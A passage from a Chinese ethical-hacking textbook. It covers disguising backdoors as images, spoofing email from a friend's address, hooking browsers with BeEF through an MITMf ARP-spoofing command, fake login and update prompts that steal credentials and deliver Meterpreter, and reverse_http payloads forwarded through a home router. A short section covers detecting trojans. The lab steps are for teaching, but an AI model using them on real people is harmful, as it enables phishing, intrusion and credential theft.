现在,我们将监听传入的连接(我们已经做过这个,所以如果需要复习,请返回到第十章,获取计算机设备的访问权限)。去 Windows 机器并下载位于http://10.0.2.15/Imagejpg.zip的文件:

解压下载的文件,正如我们在下图中看到的,文件具有.jpg扩展名。它有一个图片图标,如果我们双击它,它实际上会展示一张图片,但与此同时,它将在后台执行我们的后门:

所以,如果我们去 Kali 机器,我们将从那台计算机获取一个会话,为了确认这一点,我们将运行sysinfo。正如我们在下图中看到的,我们现在进入了那台计算机,并且对它拥有完全的控制权:

我们通过使用一个看起来和功能完全像图像的文件成功实现了这一点。这种方法可以用来让文件看起来像任何其他文件类型,所以我们不必让它看起来像图像;我们可以用这种方法让它看起来像 PDF、歌曲、视频或任何我们想要的东西。我们可以使用下载并执行的负载将后门与任何文件结合,然后使用这种方法将文件扩展名更改为我们想要的任何文件扩展名。

客户端攻击 – TDM 电子邮件欺骗

我们已经看到如何将任何文件变成后门,并让它看起来像文档、歌曲、程序或图像。我们的例子是图像,但我们可以对任何文件进行操作。所以,我们应该使用 Maltego 收集信息,然后根据收集到的信息定位目标。例如,我们可以假装是技术支持,要求目标安装更新,并将我们的后门嵌入到可执行文件中,或者我们也可以假装是朋友或同事,要求目标运行某个文档或 PDF;可能性是无穷的。在这个例子中,我们将假装是朋友,要求目标打开一张汽车的图片,告诉他们我们在考虑购买那辆车。我们将使用在更改扩展名部分创建的后门,并使用一张汽车的图像,然后联系目标,询问他们对这辆车的看法。

让我们回到我们使用 Maltego 创建的图表,查看SE 总结部分的截图,信息就显示在那里。通过浏览他的 Twitter,我们发现目标有一个叫 Mohammed 的朋友,当我们查看他的电子邮件时,我们看到这个人有一个电子邮件地址m.askar@isecur1ty.org。因此,这个人在电子邮件地址和 Twitter 上都出现过两次,这意味着目标和这个人可能关系很好,Zaid 打开他们发送的邮件的可能性很高。所以我们可以通过 Twitter 联系目标,假装是认识 Mohammed 的人,或者通过电子邮件联系他们。通过电子邮件联系有一个巨大优势,因为我们可以假装成m.askar@isecur1ty.org,并且我们可以发送一封看起来完全像是 Mohammed Askar 发来的邮件:

从邮件附件下载的图像。

所以,这就是我们要做的。我们去 Google 搜索一个邮件发送器。我们可以在自己的网络服务上托管邮件发送器,也可以使用 Google 查找邮件发送器。我试过几个,并且能够通过最安全的邮件发送器发送匿名邮件。所以我们将使用anonymousemail.me/,它要求我们输入名字,因为我们假装是 Mohammed,所以我们输入mohammed,然后它会要求我们输入邮箱,也就是邮件的发送地址,我们将其设置为m.askar@isecur1ty.org,这样我们发送的消息看起来就像是来自这个邮箱。我们将使用我们自己设置的测试邮箱。我们还可以设置回复地址,如果有人回复这封邮件,邮件将被发送到哪个地址。我们将此项留空,主题设置为Check out this car,然后写一个非正式的消息,因为我们认为这个人是朋友。以下截图展示了之前的步骤:

现在我们可以随邮件发送附件,但大多数情况下,附件并不总是能成功发送,所以建议将后门上传到 Dropbox 或 Google Drive,然后将链接发送给目标。始终缩短共享链接,使其看起来更简短、更容易接受。我们可以通过 Google 查找链接缩短工具,我们将使用 bitly.com,这是一个非常著名的服务。现在我们做的只是社会工程学,目的是让消息看起来更具接受性。复制缩短的链接并将其发送到消息中。就这样,完成了,发送邮件:

我们已经登录了测试账户,并且会看到我们收到了来自一个名为 Mohammed 的人的邮件。如果我们将鼠标悬停在上面,我们会看到邮件是来自m.askar@isecur1ty.org的 Mohammad Askar,并且甚至能看到这个人的照片,尽管我们并没有从他的邮箱发送邮件,也不知道他的密码。实际上,我们是通过一个匿名邮件服务发送的,但看起来就像是来自他的邮件,因为他是我们的朋友,所以我们很可能会打开他的邮件:

欺骗邮件已收到

这条消息只是在告诉我们他打算买一辆车,并请求我们看看它,并告诉我们对此的看法。所以我们可能会点击这个链接。现在图片已经被下载,如果我们打开名为gtrexe.jpg的图片,它实际上显示的是那辆车的图标,因此扩展名仍然是图片的扩展名:

带有.jpg 扩展名的后门

如果目标运行这个文件,我们将获得一个 Windows 命令行窗口,可以在目标系统上做任何我们想做的事情。

总结

在这一章中,我们学习了如何使用社交工程进行客户端攻击。我们运用社交工程技巧,通过让受害者主动参与一些有助于我们控制其系统的行为,重新获取对受害者机器的访问权限。我们学习了一种重要的工具——Maltego,它非常强大,帮助我们收集了目标的社交生活中的重要信息;我们能够监视他的所有社交媒体账户。利用这些信息,我们规划了可以攻击目标的方法。我们甚至学会了如何为文件创建定制图标,作为我们攻击其系统的后门。

使用 Maltego 提供的信息,我们通过目标朋友的电子邮件 ID 发送了一封包含后门的消息,一旦受害者打开文件,后门就会激活。

在下一章,我们将学习 BeEF 浏览器工具,攻击目标系统并检测木马。

第十四章:使用 BeEF 进行攻击和检测特洛伊木马

在本章中,我们将学习 BeEF 工具以及如何使用中间人框架MITMf)将其连接。接着,我们将学习如何通过将用户重定向到一个虚假网站来窃取用户名和密码,在那里我们将捕获他们的所有凭证。然后,我们将使用 BeEF 获得 Meterpreter 部分的访问权限。最后,我们将学习如何通过手动方式和使用沙箱检测特洛伊木马。

在本章中,我们将涵盖以下主题:

  • BeEF 工具

  • BeEF – 使用 MITMf 进行连接

  • BeEF – 基本命令

  • BeEF – 精美盗窃

  • BeEF – Meterpreter 1

  • 手动检测特洛伊木马

  • 使用沙箱检测特洛伊木马

BeEF 工具

在本节及接下来的章节中,我们将了解一个叫做 BeEF 的工具。浏览器利用框架BeEF)允许我们对连接的目标执行一系列命令和攻击。一个被连接的目标基本上是指执行了由 BeEF 提供的 URL 或 JavaScript 代码的目标。一旦目标被连接,我们就能执行 BeEF 允许的所有命令。

我们首先要了解的是 BeEF 的主界面,如何运行它,以及一种非常简单的方式将目标连接到 BeEF。要运行 BeEF,我们只需点击桌面上的 BeEF 图标。它将自动运行http://127.0.0.1:3000/ui/panel URL,其中包含工具的浏览器界面或网页界面。它会要求输入用户名和密码。用户名是beef,密码也是beef。登录后,在左侧,我们将看到我们可以访问的浏览器,在“已连接浏览器”面板中:

在线浏览器是我们当前能够访问的浏览器,离线浏览器是我们曾经访问过的浏览器。目前,我们无法对这些浏览器执行任何命令;我们曾经可以访问这些浏览器,但现在不能对它们做任何操作。

我们感兴趣的是在线浏览器。有多种方法可以将浏览器或目标连接到 BeEF。如果我们回到终端窗口,我们可以看到它告诉我们需要在目标浏览器上执行的脚本 URL,以便将其连接到 BeEF:

如果我们能找到或想到一种方法让前面提到的 URL 在目标计算机上执行,那么该目标将会被连接到 BeEF,我们就能够在该计算机上执行各种命令。

我们可以使用我们已经学过的方法,利用 DNS 欺骗来伪造任何页面请求,或伪造包含钩子的页面,或者我们可以进行 ARP 欺骗,将钩子 URL 注入到目标浏览的任何页面中。我们还可以使用 XSS 漏洞进行攻击,我们将在第二十一章中讨论 跨站脚本漏洞。或者我们可以创建一个页面,并通过社交工程诱使目标打开该页面,成为钩子页面。我们将创建一个钩子页面,看看目标是如何被钩住的。我们将创建的钩子页面可以与社交工程和 DNS 欺骗一起使用。

我们要创建的页面非常简单。我们可以使用任何页面,并将钩子 URL 放在页面的末尾。我们可以访问任何网站,复制该网站的源代码,然后将钩子 URL 放在其下方。我们将做得更简单一些;我们只需要将其放入 /var/www/html 目录——这是 Web 服务器文件存储的位置。我们将修改 index.html 文件,删除其中所有内容,然后放入工具给我们的钩子 URL。我们还需要修改 IP 地址,填写攻击机器的 IP 地址。也就是 Kali 机器的 IP 地址和我们的 IP 地址 10.0.2.15

现在我们可以开始了,任何访问 index.html 页面的人都会被钩住,连接到 BeEF 浏览器或 BeEF 框架。我们还需要启动 Web 服务器 Apache。启动命令是运行 service apache2 start。现在 Apache 服务器应该已经运行了。我们可以通过社交工程或 DNS 欺骗引导目标访问 index.html 页面。我们还可以将相同的页面上传到远程服务器,并访问它,或者我们可以想到任何其他方法。

现在,我们将通过 Windows 浏览器访问 10.0.2.15 的 IP 地址,并按 Enter 键——应该会打开一个空白页面:

我们的页面实际上没有显示任何内容,但如果我们进入 BeEF 浏览器,我们会看到在线浏览器中有一个新的 IP 地址,如果点击该 IP,我们将看到目标计算机的一些基本信息:

我们可以看到目标计算机使用的是 Mozilla/5.0,Windows NT 10.0 操作系统,浏览器版本是 Firefox/61.0。我们还可以看到已安装的浏览器插件。如果我们想要对目标计算机进行缓冲区溢出攻击,这些插件非常有用。我们还可以看到我们通过钩子获取到的页面 URL,页面底部有 Cookies 信息,以及日期和窗口大小的详细信息。

"命令" 标签是我们最常使用的标签。以下截图展示了大量的命令和对目标计算机的攻击——我们稍后会处理这些:

Rider 标签页将允许我们查看和创建 HTTP 请求:

XssRays 标签页会显示目标网页是否存在 XSS 漏洞:

Ipec 标签页是一个 BeEF 命令提示符,它允许我们从命令提示符运行 BeEF 命令,而不需要使用界面:

网络标签页会给我们展示当前网络概况:

完成所有操作后,我们可以点击注销链接,退出工具。

这只是 BeEF 的基本概览,包括主要命令和界面,以及一种基本的钩取目标方法。再次说明,我们可以通过社会工程学手段让别人访问钩子页面,比如使用 URL 缩短服务让链接更短、更美观,或者通过 DNS 欺骗让目标访问我们自己的网页,从而使 BeEF 框架生效。

BeEF – 使用 MITMf 进行钩取

另一种将目标钩取到 BeEF 的方法是使用 MITMf 注入 BeEF 提供的 JavaScript。因此,如果目标和攻击者在同一网络中,并且我们能够成为中间人(无论是通过伪造接入点,还是通过物理连接到目标计算机,无论我们通过什么方式成为中间人),我们就可以将钩子代码注入目标浏览器中,让目标在浏览的页面(HTTP 页面)中直接被钩取到 BeEF,无需点击任何东西,也不需要我们发送任何内容。我们将使用之前页面中的相同链接,即http://10.0.2.15:3000/hook.js,或者脚本。我们将复制它,然后粘贴到--inject插件中,使用 MITMf。命令如下:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 --inject --js-url http://10.0.2.15:3000/hook.js

我们一直使用的命令是mitmf。我们正在进行 ARP 欺骗,设置网关为10.0.2.1,目标为10.0.2.5,接口为eth0,并且使用--inject插件和--js-url选项,指定一个 JavaScript 的 URL,即钩子存储的位置,在我们的例子中,它位于http://10.0.2.15:3000/hook.js。启动命令后,正常浏览网页,或者直接访问 BBC 网站。现在,如果我们返回到 BeEF 界面,可以看到我们已经有了一个目标,而这个目标是一台 Windows 设备:

代码已自动注入到 BBC 网站中,因此用户无需访问任何内容或点击 URL。代码将被注入到他们访问的任何网页中,他们将被连接。用户只要访问任何网站,就会被连接。如果我们查看页面源代码,并查看底部,我们将看到我们在页面源代码底部有挂钩脚本,这就是为什么它被执行:

这就是为什么我们实际上可以将脚本放在任何页面下的原因。如果我们制作假页面,我们只需复制任何页面的源代码并将脚本放在底部。然后,它将在目标页面上执行,我们将能够将我们的目标连接到浏览器。

BeEF – 基本命令

现在我们的浏览器或目标已经连接,我们可以转到命令选项卡并开始在目标上执行命令:

我们可以使用搜索 选项来查找特定命令,或者我们可以使用类别并查找适合我们想要在目标计算机上执行的命令。一些命令是信息收集命令,一些是社会工程,一些甚至会让我们完全控制目标计算机。有很多命令,所以我们不可能涵盖所有命令,但我们将查看一些最重要的命令,以便知道如何进行实验和运行它们。

如果我们点击浏览器 (53) 选项,我们将看到与浏览器内可以执行的攻击相关的命令:

我们可以看到一些攻击,这些攻击可以让我们获得屏幕截图,我们可以尝试打开网络摄像头并查看其是否工作,并在目标上打开网络摄像头。如果我们点击 Exploits (78),我们将看到一些可以运行的漏洞利用:

我们只需点击我们想要运行的模块,然后点击 执行 按钮:

有一些模块需要设置一些选项,我们也将给出这些模块的示例。

在社会工程 (21) 选项中,我们可以显示虚假更新、虚假通知栏等:

让我们举一个非常简单的命令的例子。我们将运行一个警报以显示一个警报框。所以,我们只是使用 搜索 进行过滤,我们可以看到它只会创建一个警报对话框,并且会显示 BeEF Alert Dialog

我们可以修改警报和类型为任何我们想要的内容,例如,将警报文本更改为 test,然后,当我们点击 执行 按钮时,在目标浏览器中,我们将看到一个消息,显示 test 已被注入到目标浏览器中,如下图所示:

另一个有趣的功能是原始 JavaScript。它允许我们执行任何我们想要的 JavaScript。所以,我们可以再次搜索 Google 寻找有用的 JavaScript 代码,比如键盘记录器,或者如果我们懂 JavaScript,也可以自己编写脚本,无论我们写什么,它都会在目标上执行。再一次,我们将插入一个警告,它将返回 BeEF Raw JavaScript,然后点击执行按钮:

它会弹出一个对话框,显示 BeEF 原始 JavaScript,就像我们在前面的示例中看到的一样:

现在,让我们看看是否可以获取目标计算机的截图。为此,我们将使用一个名为 Spyder Eye 的插件。所以,再次点击插件,点击执行,稍等片刻,然后我们将点击“模块结果历史”标签页中的命令 4:

前面的图片展示了目标用户所看到的截图。

另一个非常好的插件是重定向浏览器插件。它允许我们将浏览器重定向到任何我们想要的网页。这非常有用,因为我们可以用它来引导目标用户,告诉他们需要下载更新,而实际上我们并不会提供更新,而是给他们一个后门。我们可以把他们重定向到一个假的 Facebook 登录页面——我们可以通过重定向浏览器插件做任何想做的事。我们可以设置希望目标被重定向到的网站。在这个例子中,我们将把他们重定向到 beefproject.com,点击执行后,目标将被重定向到 beefproject.com 或任何在重定向 URL 文本框中提到的特定链接:

这些是我们可以使用的一些基本模块。

BeEF – 精美盗窃

现在,让我们来看看一个社交工程插件,它可以帮助我们窃取账户的用户名和密码。基本上,它会让屏幕变暗,并告诉目标用户他们已从会话中退出,因此需要重新登录以进行身份验证。这样我们就能绕过 HTTPS、HSTS 和目标账户页面所使用的所有安全措施。例如,如果我们试图获取 Facebook 的用户名和密码,我们将能够绕过 Facebook 使用的所有安全措施,因为我们只是在展示一个假的 Facebook 页面,因此用户实际上并未与 Facebook 进行联系。我们点击“精美盗窃”插件,它将打开标签页:

在前面的截图中,我们可以点击我们想要劫持的账户。假设我们选择 Facebook。我们可以选择背景光的颜色,这里我们就留作灰色,然后点击执行。

当我们转到目标时,我们可以看到他们被告知他们已经注销了会话,因此他们需要使用用户名和密码登录:

输入用户名为zaid,然后我们将密码输入为12345,然后点击登录。

如果我们回到终端,我们可以看到我们的用户名是 zaid,密码是 12345:

我们可以利用这一点来劫持多个账户。让我们看另一个例子。如果我们选择 YouTube,我们执行:

在目标屏幕上,我们看到了 YouTube 的标志,我们可以尝试登录。输入用户名和密码,点击登录,凭证将被捕获:

所以,这是一个非常好的获取账户访问权限的方法,因为即使用户没有打算登录我们试图窃取的账户,我们也会迫使他们输入用户名和密码以重新登录他们的账户,然后我们就能够捕获用户名和密码。

BeEF – Meterpreter 1

在本节中,我们将看到如何从目标计算机获得完全控制并获得一个 Meterpreter 会话。因此,再次转到命令选项卡,然后选择社会工程。有许多方法可以获得反向 shell。现在,这一切取决于我们想要执行社会工程攻击的方式。我们将使用一个通知栏,伪造通知栏(Firefox)—我们选择 Firefox,因为我们的目标使用 Firefox 浏览器:

基本上,它会显示一个通知栏,告诉用户有一个新的更新或插件需要安装。一旦他们安装了插件,实际上他们会安装一个后门,我们将获得对他们计算机的完全访问权限。我们将通过使用我们在本书中创建并一直使用的相同后门来实现。

我们已经将后门存储在我们的 Web 服务器中的/var/www/html目录下,并命名为update.exe,但它是相同的后门,我们之前使用过的相同的反向 HTTP Meterpreter。在插件 URL 文本框中提供后门的完整地址,即http://10.0.2.15/update.exe,将通知文本更改为Firefox 的关键更新,点击这里安装,如下面的屏幕截图所示,然后点击执行按钮:

在目标处,我们可以看到他们收到一条消息,告诉他们有一个 Firefox 的新更新:

一旦目标下载并安装它,木马就会被下载到他们的机器上。一旦他们尝试运行这个木马来安装更新,实际上他们运行的是一个木马,它会给我们完全的计算机访问权限。在运行木马之前,我们需要像之前一样监听端口。打开一个 msfconsole 终端并运行 show options。使用 Metasploit 的 multi-handler,就像本书中讲过的那样,来监听端口。使用 meterpreter/reverse/http,输入我们的 IP 地址和端口。所以,我们只需运行 exploit,现在我们就开始监听连接了。接着运行我们刚刚下载的更新。如果我们去目标计算机,我们将看到我们通过 Meterpreter 会话获得了完全控制。

再次说明,这只是获得完全控制目标计算机的一种方式的示例。我们可以通过使用 BeEF 来做很多事,也有很多社交工程攻击可以用来获得目标计算机的完全访问权限。强烈推荐你浏览插件,进行实验,看看可以执行哪些攻击。

手动检测木马

到目前为止我们创建的木马非常强大;它们能够绕过杀毒程序——它们运行两段代码,第一段代码在后台运行,执行我们的代码,完成我们想要它做的事情,比如打开一个端口、连接回我们的机器并给我们一个 shell,同时它也运行第二段用户预期的代码,可能是显示一张图片、播放一个 MP3 文件,或者显示一个 PDF 文件。这种功能使得它非常难以被检测出来,所以最好的做法是检查文件的属性,确保它的确是它所宣称的类型。在下面的截图中,我们看到这是一个 Packt 图片,并且它是 .jpg 文件,看起来像一张图片,具有图标,如果我们运行它,就会得到一张图片,就像我们在第十三章中看到的那样,客户端攻击 - 社交工程

右键点击它并选择“属性”。当我们进入“属性”时,我们会看到它是一个应用程序,而不是图片:

对于 PDF 和 MP3 也是一样;如果是 MP3,它应该显示为 MP3;如果是 PDF,它应该显示为 PDF;如果是 .jpg,它应该显示为 jpg。但在这个情况下,它告诉我们这是一个可执行文件。查看详细信息后,我们会发现它是一个应用程序,而不是一张图片——如果它是图片,它会告诉我们它是一张图片:

从这里,我们就能知道自己正被欺骗。我们也可以调整文件名,重命名后我们会看到它其实是一个 .exe 文件,而不是 .jpg。如果我们将文件名改为 test,我们会看到它的名字已经改成了 test.exe:

现在,让我们假设这个特洛伊木马与一个可执行文件结合在一起。如果我们运行它,我们期望得到一个.exe和一个应用程序。假设它与 Download Accelerator Plus 软件结合在一起,而不是与一张图片结合在一起。这个任务会更加困难,因为我们无论如何都期望得到一个应用程序。对于图片和 PDF,Windows 会告诉我们我们正在尝试运行一个可执行文件,但如果我们期望得到一个可执行文件,那么我们无论如何都会运行它,比如使用 DAP。它将播放我们正在寻找的可执行文件,并且该可执行文件将发送一个反向会话到 Kali。

进入一个名为资源监视器的工具,并从该工具中进入网络选项卡。在那里,我们将能够看到我们计算机上所有打开的端口:

我们可以看到我们有端口 8080,并且它连接到10.0.2.15 IP 地址。显然,端口8080并不是很可疑,即使它在端口80上,看起来也不可疑,而且,它来自一个名为 browser.exe 的进程,这也不是很可疑。可疑的部分是远程地址;它正在访问10.0.2.15,我们不知道那是什么。如果这是一个网站,将 IP 放入浏览器应该会带我们到一个网站或该网站的服务器。在大多数情况下,如果这是一个黑客计算机,它不会带我们到一个网站,然后我们就会知道这个人是一个攻击者。

要验证攻击,我们可以使用一个名为反向 DNS 查找的工具。它给我们一个 IP,并告诉我们这个 IP 属于哪个网站,或者这个 IP 属于哪个域。让我们以 Facebook 为例。假设我们在资源管理器中看到了一个看起来可疑的 IP。我们实际上将通过 ping 获取 Facebook 的正确 IP 地址:

我们看到了157.240.7.38 IP;有一个连接在端口80上连接到这个 IP。复制这个 IP 并使用谷歌搜索反向 DNS,打开第一个网站,粘贴 IP,然后点击反向查找。我们可以看到我们在资源中看到的 IP:

如果是用于一个正常的网站,那么就没有什么好担心的;如果看起来可疑,那么我们就会知道这是连接到一个可疑人的。现在,正如我们在上面的截图中看到的,它正在连接到 Facebook,我们正在浏览 Facebook - 这是正常的,我们正在使用 Facebook,所以我们和 Facebook 之间有一个连接。

使用沙箱检测特洛伙

现在我们要看另一种发现恶意文件的方法,通过使用沙箱。沙箱基本上是一个执行和分析我们文件的地方。它会检查是否会打开任何端口,是否会修改注册表项——基本上就是查看它是否会做任何可疑的事情。它不是杀毒软件。我们的特洛伊木马可能会通过杀毒程序,我们的特洛伊木马通过了所有的杀毒程序,但沙箱应用程序或沙箱环境会在受控环境中运行它,查看它是否做了任何可疑的事情,并给我们报告。我们可以在线搜索sandbox,例如一个叫做 Hybrid Analysis 的网站(www.hybrid-analysis.com/)。

使用该网站非常简单:只需访问网址,选择一个文件并上传即可。我们可以在以下截图中看到报告;分析文件并生成报告可能需要一些时间:

一旦我们获取了报告,我们将看到一些基本信息;我们会看到发现了恶意指标。它们被隐藏了,我们必须使用完整版才能看到它们,但我们实际上并不需要看到它们;如果我们阅读整份报告,我们会知道这个文件是恶意的,并且它将在我们的计算机上做一些坏事。

我们可以看到文件抑制了错误框,因此不会显示错误框:

它还会修改注册表,我们可以在以下截图中看到注册表参数:

我们可以看到,在前面的截图中,它正在操作互联网设置和连接。我们还可以看到它正在使用 Windows Sockets 服务,即 WinSock2,所以它试图建立连接。我们还可以看到它正在操作进程的地址:

如果我们向下滚动,我们将看到一个最重要的指标。以下截图中会有更多关于网络分析的信息。它尝试连接到主机地址上的主机端口8080

我们可以访问10.20.14.203这个 IP 并进行反向 DNS 查找,以检查该 IP 是否与某个网站相关联。此外,当我们上传有效载荷时,它永远不会在我们的计算机上执行,而是在他们的服务器上以沙箱环境执行。显然,针对我们所看到的方法,我们应该始终在执行时使用 VirtualBox,尤其是在 Windows 系统上。始终在虚拟机上执行,不要在主机上执行。或者我们可以将其上传到沙箱环境,它会为我们进行分析,然后我们可以阅读报告。

总结

在本章中,我们研究了一个名为 BeEF 的工具,并通过 MITMf 进行了钩取。然后,通过重定向用户,我们通过告知用户他们已被注销并要求他们重新输入用户名和密码的方式捕获了他们的凭据。最后,我们获得了 Meterpreter 会话,并学习了如何通过手动和使用沙盒来检测木马。

在下一章中,我们将研究如何对外部网络进行攻击。

第十五章:本地网络外的攻击

本章主要集中在对外部网络进行攻击的实现。为此,我们需要了解端口转发是什么,因此在本章中,我们将了解需要做什么才能通过路由器访问受害者的机器。到目前为止,我们一直专注于内部后门,现在我们将转向外部后门。接下来,我们将研究 IP 转发的概念,它在从本地网络外部发起攻击时起着至关重要的作用。我们还将通过示例来深入理解这个概念,并将我们的系统与外部 BeEF 浏览器挂钩。

在本章中,我们将涵盖以下主题:

  • 端口转发

  • 外部后门

  • IP 转发

  • 外部 BeEF

端口转发

到目前为止,我们已经了解了多种方法来完全控制计算机。我们已经看到如何通过服务器端攻击、客户端攻击和社会工程学攻击来实现这一目标。到目前为止,所有的攻击都发生在内部网络中,我们选择这么做是出于便利考虑。这并不意味着这些攻击只能在网络内部生效;事实上,所有这些攻击在外部网络上也有效。唯一的区别是,我们需要将网络配置成允许来自外部的互联网连接。我们可以使用 BeEF、使用后门,也可以使用服务器端攻击——除了特殊情况,所有我们做过的攻击都适用于外部网络。我们需要记住的一点是,我们需要将路由器配置为正确处理反向连接,并将其引导到 Kali 机器上。接下来,我们将专注于这个方面,看看它是如何工作的,以及如何配置路由器以实现这一目标。

首先,让我们学习如何设置默认网络。我们在第五章《连接前攻击》中看到过类似的图示,在下图中,我们可以看到路由器、连接到路由器客户端,以及连接到互联网路由器

我们之前提到过,客户端(网络内的所有设备)没有直接的互联网连接;它们只能通过路由器访问互联网。每当它们想要请求某些东西,或者访问一个网站时——例如,想要访问谷歌——设备会向路由器发送请求,接着路由器会访问互联网,获取 Google.com 的响应,然后将响应发送回路由器,最后路由器将该响应转发给请求的设备。

所以,在网络内部,每个设备都有其独立的私有 IP。从前面的示意图中我们可以看到,有些 IP 地址是红色的,这些 IP 只存在于网络内部;因此我们称它们为私有 IP,因为在网络外部,这些 IP 是不可见的。一旦我们进入网络,就会看到路由器有两个 IP 地址:它有一个红色的私有 IP,所有网络中的设备都可以访问,这个 IP 仅在网络内部使用;同时,它还有一个绿色的公共 IP,可以通过互联网访问。绿色高亮显示的 IP 是谷歌所看到的 IP。如果我们实际访问谷歌或任何其他网站,它们会看到一个 IP 地址,但不会看到我们的私有 IP 地址;它们实际上看到的是路由器的 IP 地址,因为路由器才是实际发出请求的设备,而不是计算机。网络中这些设备发出的所有请求都会显示为来自同一台机器,或者来自同一个 IP 地址。再次强调,这是因为唯一能访问互联网的设备是路由器,而其他设备无法直接访问。

在大多数情况下,或者说如果我们考虑所有的攻击,我们的主要目标通常是建立一个反向连接。即使在使用 BeEF 浏览器时,我们实际上也会在 3000 端口上建立连接,这是 BeEF 工作的端口;而在使用我们的后门时,我们会在设定的端口上接收到连接。当我们希望将后门发送到我们网络外部时,首先需要记住的一点是,我们的本地 IP 是不可见的。我们需要做的是使用公共 IP,也就是路由器的 IP。要知道路由器的 IP 地址,我们只需要打开 Google,然后在搜索框中输入 whats my IP。谷歌会返回路由器的 IP 地址,这个 IP 地址在同一网络中的所有设备上都是相同的。

现在,我们通过无线网卡连接。当我们启动命令时,我们将看到我们没有使用 NAT 连接,而是使用连接到家庭网络的外部无线网卡。因此,我们家中无线网络中的所有设备将具有相同的 IP。这是因为它们都使用同一个路由器连接到同一网络。我们将在我们的后门中使用这个 IP,我们将把后门发送给一个存在于互联网上的人,该人将运行该后门,并且该后门将使用反向连接。然后,它将尝试连接回路由器的8080端口,例如,如果我们在后门中选择了该端口。一旦路由器收到8080端口的请求,它将不知道如何处理该请求,因为路由器没有监听8080端口,并且此请求不会告诉路由器它想去哪里。我们所需做的就是配置路由器,告诉它我们希望在从它那里收到请求时将端口8080转发到 Kali 机器上。我们只是以8080作为示例,但我们可以对我们监听的任何端口执行此操作,无论是8080444还是 BeEF 的3000

主要思路是我们想要在网络外部使用我们的真实 IP。无论我们在先前章节或将来的章节中运行任何攻击,如果我们想要在互联网上对不存在于我们家庭网络中的某人运行该攻击,那么我们首先确保使用公共 IP,并确保配置路由器将请求转发到我们在 Kali 机器上监听的端口上。我们将在本章的下一节中看到如何操作。

外部后门

在本部分,我们将学习如何创建后门。唯一的区别在于,我们将把 IP 设置为公共 IP,而不是本地 IP,并且我们将创建一个后门,方式与我们在同一网络中攻击设备时所用的方式完全相同。为此,我们将使用Veil-Evasion,并且将使用在第十二章中使用的相同步骤,客户端攻击。我们可以使用list命令查看我们拥有的选项,我们将使用编号9,这是我们在第十二章中先前示例中使用的完全相同的有效载荷,客户端攻击中的reverse_http有效载荷。我们将使用命令9,可以使用options命令查看选项。如下面的屏幕截图所示,我们可以看到LPORT默认设置为8080,我们将保持不变:

我们唯一需要更改的是LHOST,在之前的部分中,当我们在自己的计算机上接收连接时,我们将其设置为本地 IP192.168.0.11,因为这是设备在网络内部使用的 IP;但是每当我们想在网络外部进行操作时,我们需要使用真实的 IP,因为这些内部 IP 在网络外部的计算机是不可见的。

现在,我们将使用在谷歌上看到的 IP,因此当我们在 Google 搜索中输入whats my IP时,我们会得到 IP 地址89.100.145.189;我们将把它作为我们的后门中的LHOST,然后我们将执行以下命令:

set LHOST 89.100.145.189

然后,为确保一切设置正确,使用info命令。一旦我们启动info命令,我们将看到端口是8080,并且我们正在使用公共 IP89.100.145.189

这是最重要的一步,然后我们将使用generate命令来生成后门,就像我们在之前的章节中做的那样,我们将把后门命名为backdoor.exe。按Enter键,这将为我们生成有效负载。有效负载的路径可以在下面的截图中看到:

和往常一样,我们将通过以下命令将后门复制到我们的 Apache 服务器/var/www/html目录中:

cp /var/lib/veil-evasion/ouput/complied/backdoor.exe /var/www/html

我们还将看到如何从网络外部下载这个后门。现在,我们只需要通过 multi-handler 监听传入的连接,我们之前在第十二章中做过这个操作,客户端攻击。当我们使用 multi-handler 进行监听时,我们将监听本地 IP,因此我们不会监听外部/全局 IP,我们只会监听本地 IP,因为我们不能监听外部 IP,我们只控制当前的 Kali 机器。在 Kali 机器上,我们将在端口8080上进行监听,而在外部设备上,后门将尝试连接到后门。接下来的步骤是,我们将设置 IP 转发,允许路由器将端口8080转发到 Kali 机器。但是首先我们需要在 Kali 机器上监听端口8080,我们将通过以下步骤使用 multi/handler 来实现:

  1. 使用msfconsole命令打开 Metasploit 框架。

  2. 我们将使用exploit/multi/handler,并使用以下命令:

use exploit/multi/handler
  1. 将有效负载设置为windows/meterpreter/reverse_http
set PAYLOAD windows/meterpreter/reverse_http
  1. 接下来,我们将LPORT设置为8080
set LPORT 8080
  1. LHOST,即监听主机,设置为我们的私有 IP。我们将LHOST设置为192.168.0.11。命令如下:
set LHOST 192.168.0.11
  1. 现在我们要运行 show options,确保一切配置正确。我们可以在以下截图中看到,LPORT 被设置为 8080,本地主机被设置为 192.168.0.11,并且我们使用的负载是 windows/meterpreter/reverse_http

  1. 通过运行 exploit 命令启动 handler。正如我们在以下截图中看到的,exploit 已在我们的私有 IP 上准备就绪,并且在端口 8080 上监听连接:

到目前为止,我们完成了两个主要步骤:我们创建了一个后门,后门将根据真实的 IP 地址为我们提供连接;并且我们在本地机器(Kali 机器)的端口 8080 上进行监听。当目标用户在互联网上执行后门时,后门将尝试连接到 IP 192.168.0.11 的端口 8080。现在唯一的问题是网关,也就是路由器;它没有开放端口 8080,当它收到连接时,不知道该如何处理。我们需要配置路由器,告诉它每当我们在端口 8080 上收到连接时,要将其重定向到我们的 Kali 机器。我们可以通过两种方式来实现这一点,我们将在接下来的章节中讨论这两种方法。

IP 转发

在这一部分,我们将学习如何配置路由器,以便它将传入的连接转发到 Kali 机器。这意味着我们可以接收反向连接,可以将人们钩住到 BeEF 浏览器中,并像在内部网络中一样发起外部网络的攻击。要进入路由器设置,通常路由器的 IP 是子网中的第一个 IP,我们的 IP 是 192.168.0.11,通常路由器是第一个,所以它的 IP 会是 192.168.0.1。另外一种获取路由器 IP 的方法是输入 route -n 命令,这会显示网关所在的 IP。正如我们在以下截图中看到的,网关在 192.168.0.1。以下是路由器的本地 IP 地址:

我们将通过浏览器访问 IP 192.168.0.1。只需在地址栏中输入该地址并按 Enter,正如我们在以下截图中看到的,我们已经进入了路由器设置页面,并且需要使用用户名和密码登录:

现在,路由器的设置界面可能因路由器不同而有所不同,但名称通常是相同的。首先,我们通常需要登录,可能有默认的用户名和密码,或者我们可以在路由器背面或底部的贴纸上找到这些信息。登录后,我们将看到控制面板,虽然每个控制面板的外观可能不同,但我们需要寻找名为 IP 转发的选项。对于某些路由器,这个选项可能在 ADVANCED(高级)菜单下。进入 ADVANCED,然后进入 FORWARDING(转发),正如我们在以下截图中看到的,我们可以在这里设置 IP 转发:

设置 IP 转发

